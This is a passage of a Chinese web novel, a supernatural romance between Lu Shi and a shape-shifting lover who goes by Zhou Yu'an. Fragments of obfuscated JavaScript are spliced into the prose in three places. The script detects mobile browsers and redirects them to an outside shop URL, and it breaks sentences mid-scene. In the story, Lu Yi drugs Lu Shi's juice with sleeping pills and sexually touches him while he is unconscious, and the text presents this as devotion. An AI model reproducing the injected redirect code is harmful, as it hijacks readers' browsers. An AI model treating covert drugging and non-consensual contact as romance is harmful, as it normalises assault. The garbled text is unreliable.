现在他要变回周予安,再回到陆拾身边。 当然啦,在这之前,他还要面对陆拾快把他手机打爆炸的电话。 而他所想的确不假。 陆拾像飘荡的孤魂野鬼,带着一身凛冽的寒气和被泪水浸湿的眼睛,一路飘回家里。 他忽然觉得好累,所做的一切事情似乎都没有意义。 回到家后,他看着镜子里的人影,几乎都不想承认这个鬼一般的人是自己。 皮肤在久不见阳光的生活里,生出一种不似真实的冷白。 睫毛被浸得透湿,几缕几缕地黏在下眼睑,颜色显得愈发深黑,如同水墨在宣纸上氤氲开来。 眼皮红肿起来,薄薄的皮肤下透出桃花瓣似的淡粉。 他脱下衣服,一头栽倒进熟悉的被窝里,又悄悄裹紧自己。 一个念头如同藤蔓般的,从心底混乱的废墟里滋生出来,缠绕住他几乎停滞的思维。 要不要把芬尼尔的遗体偷出来? 偷出来,然后挖个坑,埋到粉色史莱姆的旁边。 可他一时半会也想不到要如何偷尸体,毕竟这实在超出他的认知了。 就这样浑浑噩噩地躺着,任由这个念头在脑海里盘旋,又化作灰色的色块,沉沉坠入意识的深海。 最终他只是拿起手机,点开了一个常玩的游戏。登录,选择角色,进入虚拟世界。 在虚拟世界里逃避了一会儿后,微微发烫的手机忽然振动起来,屏幕上方显示着来电人的信息。 ——周予安。 之前他几乎打爆了周予安的手机,现在周予安找他,他反而迟疑了。 直到振动又持续了几秒,他才切出游戏,接起通话。 一道柔和低沉的声音,通过电子信号的过滤传出来。 “芬尼尔的事情我知道了,我没能在你最需要的时候,陪在你的身边。” 喉咙干涩发紧,他发不出任何声音,但周予安肯定知道自己在听。 “是我的错,”短暂的静寂过后,周予安又轻轻叫着他的名字,“我似乎一直在让你伤心。” 可他还是没说话,只是咬着嘴唇。 陆拾确实有点伤心,周予安说的没错。 泪水无声地滑落,滚烫地淌过冰冷的脸颊,滴在被子一角,晕开一小片湿痕。 周予安轻轻地道: “别哭。” 他擦了擦眼泪:“你怎么知道我在哭?” 明明他一句话都没说,一个字也没吐露。 周予安:“我能想像得到。” “你在哪里?”他在床上翻了个身,眨了眨眼睛,“你又和我玩失踪,我讨厌你。” 周予安只回答了第一个问题: “你觉得我此刻在哪里,我就在哪里。” 6. 第6章 陆拾吸了吸鼻子,没有再追问,挂断了电话。 手机屏幕黯淡下去,映出他自己模糊扭曲的倒影。 他摇摇晃晃地站起来,走到卫生间里拧开水龙头,冰冷的水流淌而出。他捧起水泼在脸上,又抬头看向镜子。 头发凌乱不堪,几缕湿发狼狈地贴在额头和脸颊上,还在往下滴水。 脸颊上泪痕纵横交错,皮肤因为哭泣和用力揉搓而泛起不正常的红晕,鼻尖更是红得醒目。 整张脸湿漉漉的,泛着水光,毫无生气,像是病怏怏快死了的植物。 好丑。 这个样子他怎么见周予安? 谁会喜欢一张哭花了的脸。 擦干净脸,换了一件衣服,陆拾才慢吞吞地挪到门前。 手搭在门把手上,他吸了一口气,然后拉开门。 果不其然,一个人影静静地站在面前,仿佛已经等待了许久。 周予安穿着一件咖色的外衣,解开了最上面的两颗纽扣,脸上带着一点温和的倦怠。 开门的瞬间,那双琥珀色的眼眸凝视过来,里面翻涌着许多复杂的情绪。关切,歉意,还有一种如释重负般的柔和。 陆拾没有犹豫,甚至没有开口说一句话。 在看到周予安的刹那,所有残余的犹豫,以及盘旋在脑海里的质问和委屈,都寸寸瓦解。 他张开手臂抱住了周予安,脸埋在对方颈间,沉沉吐息,睫毛轻轻颤抖。 他抱得很紧,手臂环住周予安的腰身,手指紧紧攥住背后的衣料,生怕一松手,这个人也会像幻影一样消失。 周予安回抱住他,手掌在他微微颤抖的背脊上安抚性地拍了拍,动作温柔。 过了好一会儿,他急促的呼吸才慢慢平复,但依旧没有松手。 “我刚刚毕业,学校那边的档案出了问题,有些紧急。”周予安的声音在他耳边响起,低沉温和,“我必须亲自去处理,没想到离开了半天的时间,就出现了这种事情。” 陆拾在对方肩头闷闷地“嗯”了一声,没有深究细节,放空头脑里的思绪,什么也没想。 直到感受到风的存在,意识到他们还站在门口,他才稍微松开了些力道,抬起那双黝黑的眼睛看向一尺之隔的脸,而那双琥珀色的眼眸正温柔地回望着他。 一股迟来的愧疚涌上心头。 “我误会了你,”他漂亮的脸微微拧着,黑色的瞳仁轻颤,声音带着真诚的歉意,“是我太冲动了。” 他抬起手,轻轻摸了摸周予安的脸。触感温热,皮肤细腻,是真实的证明。 周予安任由他触碰,没有躲闪。 “没关系,”周予安低声说,“你没有事情就好。” 门在两人身后关上,房间里还是原来的模样,只是比平时要稍显凌乱。 陆拾松开拥抱,但还扯着周予安外套的袖子,像是怕人跑了。他晃了晃袖子,又抬起另一只手,去解周予安的扣子。 扣子解开后,他帮周予安脱下风衣,挂在门边的衣架上,还顺手理了理领子。 做完这些,他才稍微定了定神,抬起仍旧有些红肿的眼睛,说: “你饿了吗?哦对,我知道你花生过敏,是芬尼尔告诉我的。” 他忽然想起之前,自己还把芬尼尔叫做芬/太尼。 芬/太尼可以止痛,芬尼尔却让他直到现在还很痛。 “你呢,”周予安静静看着他,“有没有在等我的时候好好吃饭?是不是很害怕?” 陆拾走到沙发边,没坐下,只是站着。 “有一点害怕,”他承认,声音还有些哑,“更多的是伤心。” “我知道你讨厌他,但是他毕竟……在我面前死掉了。” 周予安走到他身边,轻轻拉住他的手腕,带着他一起在沙发坐下。 沙发因为两人的重量凹陷下去,周予安顺势将他往自己怀里带了带,让他靠着自己。 他顺从地靠过去,侧脸贴着周予安的肩膀,闻到对方身上干净的味道,混合着室外带来的凉气。 周予安一只手环着他的肩膀,另一只手抬起来,手指轻轻插进他还微微凌乱的头发里,慢慢梳理着。 动作很轻,带着安抚的意味,手指偶尔碰到头皮,泛起细微的痒意和寒凉。那只手又从发间滑下来,碰了碰他的眼皮,引得又浓又长的睫毛不住地颤抖。 周予安的声音很近,就在他的头顶响起: “眼睛肿了。” 陆拾偏了偏头,想把脸埋得更深些,来避开周予安的碰触,闷声说: “所以不要看。” 周予安的手没离开,指腹反而抚过他的眼睑边缘,道: “我有点嫉妒芬尼尔。” 周予安垂眼看他,那双琥珀色的眼睛离得很近,如同含着流动的蜜糖,又带着轻微的涩意。 “能够让你这么难过,”周予安道,“明明你们只是第一次真正见面。” “但我又不能真的责怪你,或者他。” 他张了张嘴,想说什么,却发不出声音。 周予安应该责怪他。 明明是他错怪了,明明是他太过草率认定了周予安有男友。 周予安低下头,吻了吻他的头发,呼吸近在咫尺。 他听见血液在耳朵里涌动的声音,汩汩清晰。 吻又落在他的额发,如同蜻蜓点水般的,令他的心尖都为之一颤。 最后,吻一路滑落在他的眼角,呼吸拂过他的脸颊。 陆拾闭上眼睛,睫毛微微颤抖。 心脏在胸腔里沉沉地跳着,一下又一下,凌乱喧嚣。 周予安的声音再次响起,比刚才更低也更近,气息拂过耳畔: “我可以更进一步吗?” 他掀起眼帘,对上一双沉静却隐含波动的眼眸,下意识地问: “……进到哪里?” 问出口,他才觉得这话有点傻气,但已经收不回来了。 “想要更进一步,”周予安看着他茫然的眼睛,弯了弯唇角,像是无奈的纵容,“想要亲吻更多的地方。” 空气粘稠且安静,他只能听见窗外远处隐约的噪音,和自己并不平稳的呼吸声。 他这才后知后觉,原来周予安在征求他的意见。 转念一想,这也符合周予安一贯以来的作风,温柔体贴,温文尔雅。 就连被自己全无道理地扇了两巴掌,到现在为止都没有表露出旧事重提的意图。 他看着周予安近在咫尺的唇,唇形优美,此刻微微抿着,他忽然想起自己之前夸芬尼尔的眼睛可爱,想起自己在观景台上混乱的念头,又想到此刻触手可及、真实温暖的周予安。 陆拾抬头,主动凑近,有些莽撞地吻住周予安的嘴唇。 嘴唇相贴的瞬间,他闭上眼睛,却主动伸出殷红的舌尖轻轻舔/吻,脸上泛起一层薄红。 周予安回吻着他,又把呼吸送进他的唇齿,舔着他嘴里的钉子,直到唇舌交缠,不分彼此。 整个世界恍如坍塌成了一片废墟。 一切都是虚假的、缥缈的,唯有面前之人的温度、心跳和紧紧环绕的臂膀,才是真实的全部。 在这转瞬即逝的永恒里,他只希望时间停驻,让这个亲吻化作永恒。 可永恒的时间结束了。 陆拾的脸颊有些发烫,呼吸更乱了。 他像猫一样舔了舔嘴唇,轻轻地说:“我也想。” 陆拾的视线飘忽了一下,落到周予安的手上。 那双手刚才抱着他,梳理他的头发,捧着他的脸,现在则随意地搭在沙发扶手上,手指修长,骨节分明。 他握住了周予安的左手,“外面是不是很冷,你的手还是很凉。” 周予安微笑:“有一点。” 陆拾捏了捏那只冰凉的手,又拉着它,撩开自己身上单薄居家服的衣摆,直接将那只手塞了进去,按在了自己温暖平坦的小腹上。 手确实很凉,冰得他小腹的肌肉收缩了一下。 周予安想要移开,但他反而将那只手按得更紧了些,让它紧贴着自己的皮肤,想用自己的体温温暖它。 “你会着凉的。” 周予安不赞同。 但那手指的确微微动了一下,指腹下就是他柔软温热的腹部皮肤,就是粉色淫/纹所在之处。 而那里的皮肤异常敏感。 周予安只是轻微动了动手指,他就感到一阵奇怪的痒意,自皮肤深出蔓延开来。 他看着周予安,对方的眼神似乎变深了,变成更为粘稠的颜色,表情没什么变化,却没有试图再抽回手。 就在此时,他却忽然想到了一个完全不相干的念头,说: “你说,我们能不能把芬尼尔的遗体偷过来,埋在我家后院?” 周予安微微蹙眉,声音带着点无奈,“不要这么做。” 陆拾眨了眨眼睛,状似无辜地看着对方,似乎想要再挣扎一下。 “不要这么做,”周予安重复道,“我会嫉妒的,陆拾。” 周予安念他的名字,声音轻柔又好听。 “如果我死了,”周予安话锋一转,“你可以这么做,我也想要你这么做。” 没等他回答,周予安就吻住了他的嘴唇。 周予安的嘴唇压下来,舌尖顶开陆拾因为惊讶而微张的齿关,长驱直入,探索着口腔内的每一寸湿润和温热。 动作带着一种罕见的急切,却又在细节处保留了温柔,舌头缠绕,气息交缠。 脑子里所有关于芬尼尔和埋葬的混乱念头,都在这个吻里被搅得粉碎,然后迅速遗忘。 他回应着,手臂环住了周予安的脖颈,手指插入对方的发间,将彼此拉得更近。 那只原本按在他小腹上的手,也不再只是静静地贴着,而是带着他的体温,在他腰腹间缓缓抚摸,指腹偶尔擦过粉色的印记,带来异样的感觉。 于是他彻底忘记了自己的问题,忘记了芬尼尔。 两人就这样,在沙发上安静地缠绵了好久。 周予安的手臂还松松地环着他,体温透过薄薄的衣物传过来。 他又忽然想到被烧了的信纸。 到底是写给谁的呢?真是写给他的吗? 疑问像透明且密密麻麻的虫豸,悄悄爬出来,啃食着他的脏器。 他想问周予安,问那张信到底是怎么回事。 但话到嘴边,又被咽了下来。 怎么问,难道要承认自己偷偷翻了门口的垃圾袋? 会不会显得太不信任,太纠缠不休? 纠结着,他最终选择了更迂回的方式。 陆拾看向对方,看那温柔的眉眼,好看得像是夜空中高悬的明月,说: “你发誓,说你只会对我这样做。” 仿佛这样就能抹去所有的疑虑。 周予安先是伸手,拢了拢他被弄乱的黑发,细密的发丝如黑绸从指尖划过。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159750|196589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他喜欢被周予安这样碰触,但他仍旧想要一个答案。 周予安的脸上缓缓浮现出近乎纵容的神情,没有笑,但眼神变得很柔软。 “好,”周予安开口,没有敷衍,“我发誓。” 他的心提了起来,一瞬不瞬地盯着对方。 “我只爱你。”周予安说,“因为你是我漫长时光中,唯一珍视的存在,唯一想要留住的存在。” 陆拾微微一怔。 他怀疑周予安会读心术。 不然又怎么能恰到好处地,回答他未曾吐露的疑惑? 仔细一想,他又觉得是自己想多了。 周予安根本不知道他偷了垃圾袋,应该也不清楚自己心里七拐八绕的怀疑。 不论如何,他感到幸福,脸颊又开始发热,心跳快得不像话。 周予安看着他表情的变化,眼神更柔和了,问: “现在,我们是什么关系?” 那双黝黑的眼眸,倏然错开了一瞬。他温和地回避了周予安的目光,漆黑浓长的睫毛上下翩跹。 明明他已经很喜欢周予安,喜欢到听到誓言就开心得要命,可话到嘴边却融化成了一句暧昧不清的话语: “你说是什么关系,我们就是什么关系。” 随即,那双眼睛又瞥向别处,下颌稍稍扬起。 周予安似乎并不意外,点了点头,很平静地接了一句: “我知道了。” 然后,就没有然后了。 周予安没有顺势说出“那我们现在是恋人了”,或者做出什么更亲密的举动。 陆拾等了一会儿,没等到下文,心里的羞涩慢慢变成了郁闷。 到底知道什么了啊? 默认了,还是觉得需要额外的确认? 明明刚才那么会说话,怎么一到关键节点就变得言简意赅,含糊其辞。 他闷闷地靠回周予安肩上,把脸埋在颈窝里,蹭了蹭,不再说话。 尽管因为周予安模棱两可的话语而有些烦躁,但就这样安静地靠着,听着自己平缓下来的呼吸,心却不再像之前那样阴沉。 眼前偶尔还是会闪过芬尼尔的脸,但画面一闪即逝,只能激起一点微澜,很快就归于一片静谧。 “芬尼尔说他没有父母了,”踌躇片刻,最终他还是选择说出来,“那他的遗体,会有人来认领吗?” “我不想让他孤零零躺在外面。” 周予安微微抿着嘴唇,挺直的鼻梁在面孔上打下灰暗的阴影,目光扫过他的脸,“放心,我明天会处理。” “真的不要再提这个人了,陆拾。” 他望见那张俊秀的脸庞,脸上没什么特别的表情,但眼里飘过一个遥远的闪烁。 忽然间,陆拾觉得新奇,甚至有点想笑。 “我想不到你嫉妒的样子,”他实话实说,“总觉得你好温柔,不会吃醋,也不会嫉妒。” 他伸手,五指修长白皙,腕骨微微突出,慢慢拢住周予安的手掌。 凑近了一点,他看着周予安的眼睛,很认真地说: “我就是喜欢这样的你啊。” 周予安微笑,眼睛里闪动着融化的蜜糖,“我有些渴了,你要不要也喝些什么?” “厨房里有,”陆拾说,“橙汁就可以。” 周予安立即起身,他又拉住对方的手。 周予安回头,垂眸望向他,问: “怎么了?” “你第一次来我家,”他攥着周予安的手,“能找到吗?” 周予安置之一笑:“相信我。” 既然如此,他便松开力道,任由周予安走向厨房。 他坐在沙发上等着,又觉得怀里空荡荡的,便拿起旁边的抱枕,下颌搁在柔软的布料上,黑发蜿蜒流淌着,衬得面孔更加白皙昳丽,耳坠轻闪光芒。 很快地,周予安就端着两个玻璃杯回来。杯子里是橙黄色的液体,看起来很新鲜,里面还有细小的果肉纤维漂浮着。 周予安把其中一杯递给他,陆拾接过来。 杯子握在手里,并不冰手。 他低头喝了一口,视线却偷偷往旁边瞟。周予安就坐在他身边,侧脸线条流畅,睫毛很长,鼻梁挺直。 陆拾看得有点出神,连喝橙汁的动作都慢了。 周予安忽然转过头,精准地捕捉到他的视线: “看我做什么?” “好看,”他实话实说,“喜欢看。” 周予安轻轻摸了摸他的脸颊,认真地说: “怎么会有你长得好看。” 他被摸得有点痒,缩了缩脖子,但没躲开。 “你知道吗,”周予安陷入回忆,“那天下雨的时候,我只是看到你的背影,就情不自禁想像你的长相了。” “那我的脸,”陆拾忍不住问,“有让你失望吗?” 周予安笑了一下,放下玻璃杯,双手捧住他的脸,吻了吻他的眉心,道: “自从看见你的那一刻起,我就想这么做了。” 按照常理,他应该因为这句话而感到喜悦,但先于喜悦涌入头脑中的却是如潮水般的疲惫。 眼前周予安的面容变得模糊而遥远,就仿佛蒙上了一层辗转缠绵的薄纱,慢慢淡出视野。 奇怪,陆拾模模糊糊地想,今天怎么这个时间就困了,就像吃了安眠药的效果。 可他今天分明没有吃。 总不可能是周予安给他下药了吧? 7. 第7章 陆拾斩钉截铁地否决了这个奇怪的念头。 当然不可能,这不符合周予安的人设啊。 他自己倒是有可能这样做,在周予安的食物里加点药之类的,但当然不会放花生。 大概是自己真的太累,脑子都不清醒了。 就在他强撑着不让自己睡过去,跟汹涌的困意做斗争的时候,周予安适时开口: “困了,要睡觉吗?我帮你准备洗漱用品。” 陆拾迷迷糊糊地点头,又很快地摇头。他确实困,身体也很疲乏,但他又想起一件事。 “这是我家,”他的声音含混,带着浓重的睡意,“你不熟悉吧……” “况且今晚你肯定要回家的吧。” 坦白说,他不想要周予安回去。 周予安却不如他所愿,轻轻点头,“嗯,已经很晚了。” 失望顿时爬上他的心头,拉着一整颗心沉入阴沉的湖水里。 他想要周予安留在这里,留在他身边。 不算明亮的光影衬得他的面容有些晦暗不清,显出一种昳丽的诡谲,那双黑色的眼睛里像有雾气浮现,影影绰绰。 他抱着周予安的手臂,又轻轻晃了晃,“你要走了吗?” 芬尼尔才死掉,周予安就不能陪陪他吗? 万一他晚上做噩梦怎么办? 周予安任由他抱着,侧过头,看着陆拾困得眼睛都快睁不开,却还强撑着的样子,弯起唇角: “但我在想。” 陆拾勉强掀起眼皮,等着下文:“嗯?” 周予安的目光落在他脸上,停顿了几秒,才缓缓开口: “我在想,我可不可以留宿一晚。” 他眨了眨眼睛,一整颗心重又浮上了水面,伴随着飘忽的困意,一时间宛若陷入了绵软的棉花糖中。 “虽然这个提议很突兀,”周予安继续说,“毕竟我们的关系还没发展到这一步,但是……” 陆拾等不及了,他感觉自己快要被睡意彻底吞没,必须趁着还有一点清醒的时候说完。 他用力眨了眨眼,让自己的目光尽量看起来坚定,“我要你留下来陪我,就这么决定了,不许走,好不好?” 不像商量,更像撒娇和单方面的决定。 他打了个小小的哈欠,眼泪都逼出来了,又道: “我怕做噩梦,我想要你保护我。” 他是真的困了,困得头脑发昏,四肢发软,连坐着都感觉要滑下去。 奇怪。 他的心里又闪过这个念头,却如同蒲公英的种子,转瞬被风吹走了。 这困意来得超乎常理的汹涌,他顾不上细究,只想要周予安留下来。 周予安扶住他快要滑下去的肩膀,将他揽得更稳一些,“好。” 勉强绷紧的神经瞬间放松,巨大的安心感和更凶猛的困倦一起袭来,将他沉沉拖入温暖的海浪。 * 陆熠站在厨房的料理台前,动作流畅地倒了两杯橙汁。 就在他拿起杯子,准备端出去的时候,目光不经意间扫过半敞开的柜子。 那是一个壁柜,位置不高,里面放着一些零碎物品:几包未开封的调料,一罐蜂蜜,还有一个白色的药箱。 一种阴暗的求知欲像水底的海藻,悄无声息地缠绕上来,冰凉湿滑,沁入心间。 他想知道陆拾平时会备着什么药,会因为什么病痛而烦恼。 放下手里的橙汁杯,他从柜子里拿出药箱,又打开了药箱的搭扣。 里面分了几层,东西摆放得不算特别整齐,但大致能看清。上层是一些常用的医药材料,感冒冲剂,创可贴,碘伏棉签之类的。 他匆匆扫过,又打开下层,只见里面有一个造型简单、贴着黑色爱心贴纸的小瓶子。 陆熠的目光在瓶子上停留了片刻,没有动它。 旁边是安眠药,还有一些装在另外的锡箔板里的药片。 他辨认出药名,又打开手机搜索一番,发现其中几样是常见的精神类药物,用于稳定情绪、抗焦虑的,另外一些药物却查不到资料。 捏着安眠药的包装,不可见光的念头如同蛰伏在土壤深处的种子,顷刻破土而出。 他不是没想过直接亲近陆拾。 渴望触碰,渴望更紧密的连接,渴望驱散分离带来的焦灼和思念。 今天,他已经得到了拥抱,得到了亲吻,但远远不够。 拥抱隔着衣物,亲吻也无法让彼此交融,永不分离。和曾经还是珀露姆形态时,可以毫无隔阂地包裹触碰,甚至部分融合的亲密感,天差地别。 虽然他讨厌作为珀露姆的自己,讨厌混沌弱小的、无法清晰表达的形态,但不可否认,他喜欢那时自己可以毫无顾忌地找陆拾贴贴,不用担心行为是否越界或崩人设。 理智告诉他,碍于人设,最好不要现在直接提出来。 他看向安眠药,又看了看橙黄色的果汁。 那就让陆拾睡着吧,他想。 睡得沉沉的,毫无知觉的。 这样他就可以做他想做的事情,而不用担心被拒绝,也不用在意是否会破坏人设。 想要干的坏事,就不会被发现了。 他将药物打开,放进一杯橙汁里,又抽出旁边的一次性吸管,轻轻搅动。安眠药渐渐化开,最终消失无踪。 橙汁的颜色和气味没有任何变化,依旧散发着清新的果香。 他端起加料的橙汁,又拿起另一杯干净的,走回客厅。 接下来的一切,如同他预想的那样发展。 陆拾困意汹涌,又强打起精神,轻声要他留下。 他当然答应了,又在洗漱间找到陆拾的牙刷和牙膏。 拿起牙膏,挤了适量在牙刷上,他将牙刷横放在漱口杯上,摆放得规规矩矩,然后又拧了一条干净的毛巾,搭在一边。 做完这些,他回到客厅,轻声唤着陆拾的名字。 “啊,”陆拾睁开眼睛,一片懵懂,恍惚道,“几点了……” 细小的声音就像虫子似的,顷刻钻入他的耳朵里,令他的半张脸连同耳朵都泛起细密的痒意。 陆拾看上去很茫然,眼尾垂落,黑色的发丝黏在脸上,睫毛蜷曲着低垂,黑沉的眼珠也显得失焦。陆拾又伸出殷红的舌尖,轻轻舔了舔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他走到陆拾的卧室门口,推开了虚掩着的房门,悄无声息地潜入。 眼睛很快适应了绝对的黑暗,他能看清陆拾躺在床上睡着的模样,被子盖到胸前,脸朝着天花板,呼吸平缓。 这种感觉真奇妙。 他慢慢地坐到床沿,目光依旧没有离开陆拾的脸。 看了一会儿,他伸出手指,指尖悬在陆拾脸颊上方一厘米的地方,没有立刻触碰,像在感受肌肤散发的微弱体温和气息。 黑暗和寂静放大了某种冲动,克制很快就像薄冰一样碎裂了。 他慢慢地俯身,动作轻得宛如怕惊扰一个易碎的梦,而后半跪在床头,让自己和陆拾的脸处于同一高度。 他凑近,捧着陆拾的脸颊,吐息沉沉地落在上面,最终落下一个吻。吻停留的时间稍长一些,但也只是单纯的嘴唇相贴,没有更深入的动作。 “就这样和我永远在一起吧,”陆熠稍稍抬头,声音低柔,“什么也不要想。” “你喜欢什么模样,我就变成什么模样……陪着你。” 8. 第8章 深沉浓厚的黑暗中,陆熠掀开被子,手指钻入陆拾衣服的下摆。 沿着记忆中的位置,沿着本能的感应,他直接摸到了自己身体一部分化作的印迹,又一路向上。 衣服被撩开,露出形状优美的锁骨,柔软且饱满的胸部肌肉,颜色就同陆拾的脸庞一样,是莹润的白色。 他感到每一口呼吸都变得灼热,每一秒的时间都变得漫长,每一寸的触感都成倍地放大。 忽然,陆拾的手指轻轻动了一下,指尖划过他的手臂带来异样的感觉,人却依旧没有从睡梦中醒来。 静静吸了一口气,又沉沉吐出一口气,他继续抚摸,摸到了异于周围皮肤的触感。 陆熠像被定了格,又像是在回想什么,血液急速流动着。 他从来没有用人类的身体碰过这里,从来没有用手指捏住这里。 ……太超过了。 可是脑子里有个声音对他说:摸都摸了,那就尝一尝吧。 尽管还有一百个这样那样的理由告诉他,不要这么做,可是他一概不听,脑子里只回荡着“那就尝一尝吧”的声音。 于是他低头,细细品味了一番。 …… 幸好安眠药的药效充足,他尝了足足三分钟,陆拾都没有醒来。 陆拾说他好吃,但明明陆拾的扔子也很好吃。 就这样一路舔到了脖颈,轻轻咬着喉咙,牙齿和舌头掠过动脉。 陆熠感受到陆拾的体温,感受到无比的满足。 可是他不敢太过分,不敢真的在陆拾身上留下鲜明的证据,只能压抑自己。 越是压抑,那股躁动越像无声浸润到四肢百骸,烧过了整具躯体。而只有当他决定不再压抑,尝尝扔子的时候,才能有效抑制。 一个小时后,他终于撑起久跪的身体,悄无声息地退出房间。 * 次日醒来,陆拾感觉身体有些奇怪。 他懵懵懂懂地坐起来,身上盖着的被子滑下去,迷迷糊糊地看向旁边。 床头柜上放着一杯水,摸上去是温的。 怎么回事,他是怎么睡着的? 他皱眉,疑惑不解,脑子像生锈的齿轮似的艰难转动起来。 不仅想不起来是怎么睡到床上的,身体某个部位还有点痒,但是他没太在意,因为他忽然想到周予安可能还在家里。 他掀开被子下床,走到客厅,却没见到人影。 他又听到厨房传来隐约的水声,走过去,站在厨房门口。 周予安背对着他,站在水槽前,穿着昨天的黑色高领打底,袖子卷到手肘,露出线条流畅的小臂,此刻正拿着一个玻璃杯,擦拭着杯壁上的水渍。 那个杯子,似乎是昨晚自己喝橙汁用的? 听到脚步声,周予安转身,看到站在门口的他,很自然地开口: “醒了?桌上有洗好的水果,再等我一下,我给你做早餐。” 他应了一声,看着周予安把擦干的杯子放进橱柜里,然后又开始擦洗水槽边缘。 心里涌上一些不好意思,但紧接着一个念头像冷水一样浇下来,让他瞬间紧张起来。 等等,厨房可放了很多奇怪的东西。 橱柜里塞满了各种杂七杂八的东西,有些是以前留下的,有些是他随手放的。 最重要的是,柜子里还放着他的妙妙小毒药。 不会在昨天,周予安就看到了什么不该看的吧? 心脏慌张地乱跳起来,他盯着周予安,一时间不知道应该如何开口。 陆拾又努力回想昨晚自己失去意识前,那个柜门是不是关着的。 ……应该是吧? 周予安看起来也不像会随便翻东西的人。 但万一呢,万一收拾的时候无意间打开了。 他垂下眼眸,尽量让自己的声音听起来自然,却掩盖不住晨起的沙哑: “你都收拾了哪些地方?” “客厅的地面、茶几、沙发,还有厨房。”周予安顿了顿,补充道,“柜子里的东西我都没打开,只是擦了表面。” 他暗暗松了口气。 还好没打开,不然就要发现妙妙小毒药了。 “哦,这样。”陆拾含糊道,“其实你不用早上起来做这些。” 周予安关掉水龙头,脱了手套,转身面对着他,靠在台边。 厨房里安静下来。 陆拾觉得这安静有点难捱,便说出认真思考过的事情: “我认真考虑过了,那件事情是我误解你了,我欠你一个正式的道歉。” 周予安的神情柔和。 “我不该那样怀疑你,不该说那些话,也不该做那些事。”他低头,“给你惹麻烦,还伤害了你。” “我会任由你惩罚。” 周予安微微一笑:“惩罚?” 他狼狈地避开了周予安的视线,小声道: “嗯,你可以打回来。” 他立刻闭上眼睛,长长的睫毛紧张地颤动。 双手不自觉地攥着,又挺直了背脊,像个等待受刑的人,摆出一副坚决的姿态。 但他心里却在祈祷:不要打他。 ……周予安不会真的打他吧? 他是有了觉悟,理智上知道该受罚,可情感和身体上还是本能地害怕疼痛,害怕周予安真的会对他动手。 矛盾的心理让他更加紧张,手指捏着衣角,加大力度揉搓着,想要把衣服揉烂。 陆拾就这样忐忑地等着审判。 厨房里安静得能听到他的心跳声,一下又一下,又重又快。 不知过了多久,也许只有几秒钟,也许有半分钟,他终于听到了周予安的声音: “我做什么都可以吗?” 脑子里瞬间闪过一些乱七八糟的联想,纤长的睫毛轻轻颤抖着,每一根睫毛都无比修长。 他点了点头,眼睛却还是紧紧闭着,不敢睁开。 又是一阵沉默。 陆拾凝神细听,感觉周予安似乎动了一下,好像朝自己走近了一点,但预想中的疼痛并没有到来。 等啊等,等得几乎要站不住了,好奇心终于压倒了一切,令他忍不住悄悄地睁开了一只眼睛。 周予安就站在他面前,正笑着看他,微微勾起唇角,琥珀色的眼睛里流淌着他的倒影。 见他睁开眼睛,周予安伸手,却不是要打他,只是轻轻覆上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159752|196589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了偷偷睁开的眼睛。 掌心温热干燥。 周予安:“闭眼。” 陆拾只好重新闭上眼睛,不知道接下来会发生什么。 脸颊两侧忽然落下力道,是周予安用拇指和食指轻轻捏住了脸颊的软肉。动作带着玩笑般的意味,却又让他无法挣脱。 静了静,周予安只是捏着他的脸,好像在感受什么,随后他感到脸颊上落下一点根本不痛不痒的力度。 很轻,很快。 陆拾睁开眼睛,发现是周予安用屈起的指节弹了两下他的脸,比起惩罚更像是亲昵的小动作。 弹完两下,捏着脸颊的手就放开了。 “嗯,”周予安语气轻快,“惩罚结束。” 他轻柔地眨了眨眼睛。 这算什么惩罚?简直像在哄小孩。 周予安又吩咐道,“去客厅等我吧。” 这里是他的家,他才是主人,但他还是乖乖听话,转身走出了厨房。 回到客厅,他在沙发上坐下,拿起手机在互联网上到处游逛,顺手点开熟悉的直播软件图标。红色的小圆点几乎要淹没整个消息栏,数字是“99+”,那场失控的直播显然留下了不小的连锁反应。 他无所谓地点进后台的私信列表,霎时间,消息像崩塌的多米诺骨牌源源不断地涌现出来,有安慰的,有骂他的,有看热闹不嫌事大的,也有纯粹好奇追问渣男周予安后续的。 其中一条私信的内容像一根锋利的冰针,猝不及防地刺入他的眼中。 [咦,仔细一看,这不是上次约我那男的嘛,当时看他长得挺帅,活也挺好,都没收他钱。] 文字后面,还附了一张模糊的缩略图。 图片很小,加载得也不清晰,但隐约能看出是一个男人的侧影,背景像在某个酒店的房间里,光线昏暗。 血液仿佛倒流回大脑,陆拾的耳朵嗡嗡作响。 他点开发信人的主页。 发信人的ID很陌生,带着暗示性的昵称,动态更是擦边露/骨。 他抬眸看向周予安的背影,动作从容,姿态挺拔。阳光从厨房的窗户照进来,给周予安的轮廓镀上了一层柔和的淡金色。 看起来那么干净,那么温和,那么无可指摘,和私信里所描述的形象无论如何也重叠不到一起。 他又低头,直勾勾盯着手机屏幕,那张缩略图因为他的注视,好像自动加载得更清晰了。 那侧脸的线条,鼻梁的弧度,下巴的轮廓都无比熟稔。 他吐出一口气,打出了几个简单的字。 [60:你确定吗?] 